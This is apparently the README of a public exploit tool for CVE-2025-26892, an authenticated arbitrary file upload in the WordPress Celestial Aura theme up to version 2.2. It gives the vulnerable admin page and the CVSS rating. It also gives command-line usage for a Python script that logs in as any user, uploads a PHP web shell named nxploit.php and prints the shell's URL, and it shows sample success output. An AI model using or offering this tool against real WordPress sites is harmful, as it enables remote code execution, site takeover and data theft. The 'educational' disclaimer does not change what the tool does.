WordPress Celestial Aura Theme <= 2.2 is vulnerable to Arbitrary File Upload
# CVE-2025-26892 – WordPress Celestial Aura Theme <= 2.2 Arbitrary File Upload (Authenticated)
## 📄 Description
An **Unrestricted File Upload** vulnerability exists in the WordPress **Celestial Aura** theme (developed by *dkszone*) up to version **2.2**.
A low-privileged authenticated user can upload arbitrary PHP files through the theme's admin panel, potentially leading to **Remote Code Execution (RCE)**.
- Affected theme: `Celestial Aura`
- Affected versions: ≤ 2.2
- Vulnerable file: `wp-admin/admin.php?page=CA-settings`
- Exploitable by: Any authenticated user (subscriber and above)
- No nonce, file type, or extension validation
## 🛡️ CVSS Score
**Patchstack CNA Rating:**
- **Base Score:** 9.9 (CRITICAL)
- **Vector:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`
## 🚀 Usage
```
usage: CVE-2025-26892.py [-h] --url URL --username USERNAME --password PASSWORD
CVE-2025-26892 | WordPress Celestial Aura Theme <= 2.2 Arbitrary File Upload (Authenticated)
options:
-h, --help Show this help message and exit
--url, -u URL Target WordPress site (e.g., http://127.0.0.1/wordpress)
--username, -un WordPress username (any authenticated user)
--password, -p WordPress password
```
The script logs in with the provided credentials, uploads a malicious PHP shell (`nxploit.php`) via the vulnerable theme settings, and prints the direct URL to the uploaded shell.
## ✅ Successful Exploit Output
```
[+] Exploit sent successfully.
[+] Form Fields Sent:
- CA_hdrimage: yes
...
- CA_save: Save changes
[+] Shell Location:
http://target-site/wp-content/uploads/nxploit.php
Exploit By: Khaled_alenazi (Nxploited)
```
## ⚠️ Disclaimer
This project is for **educational and authorized penetration testing** purposes only.
Any misuse of this tool is not the responsibility of the author.
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